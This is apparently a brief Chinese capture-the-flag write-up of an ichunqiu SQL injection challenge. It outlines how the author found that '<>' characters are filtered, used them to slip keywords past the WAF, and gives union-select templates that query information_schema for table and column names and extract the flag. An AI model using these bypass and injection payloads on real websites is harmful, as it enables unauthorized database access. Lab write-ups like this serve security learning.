SQL-出题人就告诉你这是个注入

解题过程

观察

  • url就一个参数id,页面提示信息flag{在数据库中}
  • 提交%20and%201=1被ichunqiu的waf拦截
  • 提交and%201=1页面提示inj code!
  • 观察页面源码可以看到当前所执行的SQL语句

测试

  • 试验一堆字符,测试得到<>直接被过滤,便绕过waf和注入判定

注入

$字段个数 = order by num

$可见的字段=union select 1,2,....,n

$表名=union select 1,group_concat(table_name),....n from information_schema.tables where table_schema=database()

$列名=union select 1,group_concat(column_name),....n from information_schema.columns where table_name=0x$表名的十六进制

union select 1,$列名,....n from $表名

Payload

  • 利用<>插入在关键字当中绕过过滤

知识小结

  • mysql中group_concat函数的使用
  • mysql5.0以上版本的information_schema库
  • waf花式绕过